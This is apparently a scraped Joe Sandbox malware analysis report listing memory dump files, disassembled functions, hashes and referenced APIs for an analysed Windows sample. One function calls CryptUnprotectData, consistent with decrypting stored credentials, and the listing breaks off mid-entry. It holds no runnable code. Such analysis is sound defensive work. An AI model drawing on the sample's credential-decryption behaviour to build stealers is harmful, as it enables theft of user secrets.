Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: JX{$N_^{$v2?o
API String ID: 0-2411433865
Opcode ID: c6c43845b8480d6430f0f815413df5d6b2a8734fac737744b113262110cb61ca
Instruction ID: cff8bef988eee4c438d118a7db32b668d4ec77fe6e1b7aaad53ae85d8d761e5e
Opcode Fuzzy Hash: c6c43845b8480d6430f0f815413df5d6b2a8734fac737744b113262110cb61ca
Instruction Fuzzy Hash: 99423BF3A0C2009FE3086E2DEC9567ABBE9EFD4320F1A853DE6C5C7744E97558018696

Function 00EAA2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00EAA2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00EAA2F3
LocalFree.KERNEL32(?), ref: 00EAA323

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 9a59df533d791d792d93a92e50da7e7106b901f5f30aa722a74d6248c8bf58f3
Instruction ID: ca74ae93c4152b469232da36af2703b6bcf6e61b0b2364bcd875721f35888019
Opcode Fuzzy Hash: 9a59df533d791d792d93a92e50da7e7106b901f5f30aa722a74d6248c8bf58f3
Instruction Fuzzy Hash: CC11E8B4A00309DFCB04DFA4D889AAEB7B5FB89300F108569ED15A7390D730AE50CF61

Function 012EE76A Relevance: 4.1, Strings: 2, Instructions: 1633COMMON

Download Yara Rule

Strings

dzX, xrefs: 012EF4A0
w$u}, xrefs: 012EEF49

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: dzX$w$u}
API String ID: 0-3197744256
Opcode ID: a388efae4a7fd397c66eb1421c187bdf971573e3bf0670fc3cff93329dbd55ed
Instruction ID: bbec82ecfb08c66db5756ebce6e360850e84eced5b3ee69f77098b70e79237a7
Opcode Fuzzy Hash: a388efae4a7fd397c66eb1421c187bdf971573e3bf0670fc3cff93329dbd55ed
Instruction Fuzzy Hash: 73B2F8F360C204AFE304AF29EC8567AFBE9EF94720F1A492DE6C4C3744E63558018697

Function 012FC214 Relevance: 3.9, Strings: 2, Instructions: 1434COMMON

Download Yara Rule

Strings

Wio[, xrefs: 012FD0B3
)p, xrefs: 012FCAC4

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Wio[$)p
API String ID: 0-881582348
Opcode ID: 34448db89584b1450e718b5ff8dc77d9d03573622eb5e7b494e8812ddc36fd3b
Instruction ID: c473a957e1ee791ec217b920d52400df1bfec795763ea0bb84d57f5a2720b36f
Opcode Fuzzy Hash: 34448db89584b1450e718b5ff8dc77d9d03573622eb5e7b494e8812ddc36fd3b
Instruction Fuzzy Hash: 8CA215F3A0C204AFE3046E2DEC4567ABBE5EF94720F1A893DEAC5C3744E63558058697

Function 012F596A Relevance: 3.7, Strings: 2, Instructions: 1188COMMON

Download Yara Rule

Strings

t~O\, xrefs: 012F5E0B
k\W, xrefs: 012F649B

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: k\W$t~O\
API String ID: 0-1237392944
Opcode ID: 8616829092647b634858ed2b88dea81e668571df51b2ee5e97a64af9f8d14c6c
Instruction ID: 50b637c3c072ce20bf9bf79e5fcdc399f61396c086043acebf415598e1a7b83f
Opcode Fuzzy Hash: 8616829092647b634858ed2b88dea81e668571df51b2ee5e97a64af9f8d14c6c
Instruction Fuzzy Hash: A08204F360C2049FE304AE29EC8567AFBE9EF94620F1A493DE6C5C7740E63598418797

Function 00F14BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON

Download Yara Rule

Strings

__ZN, xrefs: 00F14FDF
?, xrefs: 00F154D5

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?$__ZN
API String ID: 0-1427190319
Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction ID: c28f11d43b9a827fbee35716e00b0029d110cf3f4adb856db92019da0316a5c9
Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction Fuzzy Hash: C4724472908B11DBD714CF14C8907AEB7E2BFD5720F598A1DF8A59B291D370EC81AB81

Function 012839FE Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

xcsU, xrefs: 01283A5D
$v, xrefs: 01283A13

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $v$xcsU
API String ID: 0-1601039948
Opcode ID: f43e25f4b859dcc27f09cc2c0d8fe37ca55ad165f591a7ab21da4adfbe75d6ff
Instruction ID: 11897e175329b1ac65af6a1b677e63ec194504f144412e01e6195e24f11b02e0
Opcode Fuzzy Hash: f43e25f4b859dcc27f09cc2c0d8fe37ca55ad165f591a7ab21da4adfbe75d6ff
Instruction Fuzzy Hash: CB41D3F26082049FE704AF6CDC8576ABBE4EF84710F56493DE6C5C7380EA75A804CB96

Function 00EF5DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 00EF6009

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: xn--
API String ID: 0-2826155999
Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction ID: 140cd32e968a628a09de9fdf9c197c9684830b76b8cf37c8d45882e3b3b83965
Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction Fuzzy Hash: 1DA2E1B2D0026C8BEF28CB68C8903FDB7B1EF45304F2852AAD6567B291D7755E85CB50

Function 00EF4DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00EF4DF3

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction ID: b4eec030a49cdd0c4e0d22165caf0658a6ac0efa5fb3581389748912398760c2
Opcode Fuzzy Hash: c14b47d2e213c3a0e8374cf111387a659401d06af651524ed7eee9bee9842815
Instruction Fuzzy Hash: 7CE1E4726083499FC724CF28C8807BFB7E2EF95304F555A2DE6D9A7291D7319845CB82

Function 00EF4868 Relevance: 1.9, APIs: 1, Instructions: 400COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00EF4893

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction ID: dfd03c676b0a83432baa190f950bb06ed759f266c6c287ec84df909a58edcaa8
Opcode Fuzzy Hash: 83317d89dfdf25b5cbfc261f48c526b848a7f8a57d589ef9335097789b789f81
Instruction Fuzzy Hash: 21E1D4B16083098FDB24CE18C8817BFB7E2EFC5314F15992DEA89A7291E7319C45CB46

Function 00F0E258 Relevance: 1.6, Strings: 1, Instructions: 383COMMON

Download Yara Rule

Strings

UNC\, xrefs: 00F0E5B4

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: UNC\
API String ID: 0-505053535
Opcode ID: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction ID: e99394e42e4091c1dd3fe8ae5f31cecb50407eb887bb418e9bdfc0e7cf3b012f
Opcode Fuzzy Hash: f944912daca86eef5da2b02659a6c861781d9d5d66b239bded02d895f8a825b7
Instruction Fuzzy Hash: C7E13C71D042658EEB24CF18C8843BEBFF3AB85324F198569D4A45B2D2D7368D46FB90

Function 012507B6 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

6'5, xrefs: 01250922

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6'5
API String ID: 0-3448000724
Opcode ID: 78860115917c16a6409c673f6be8176669499887253281016906a581e04845e0
Instruction ID: a3e6d4af92d9fecbba4c2d735ab10d2f8eb63e2226eccd8f2f4d0ee5ca3b909a
Opcode Fuzzy Hash: 78860115917c16a6409c673f6be8176669499887253281016906a581e04845e0
Instruction Fuzzy Hash: 984115F3A097054FE3086939ED8677BB7D6EBD4310F2A893EA684C7B44FC35A9018245

Function 012E1B25 Relevance: 1.4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

fU?, xrefs: 012E1B54

Memory Dump Source

Source File: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
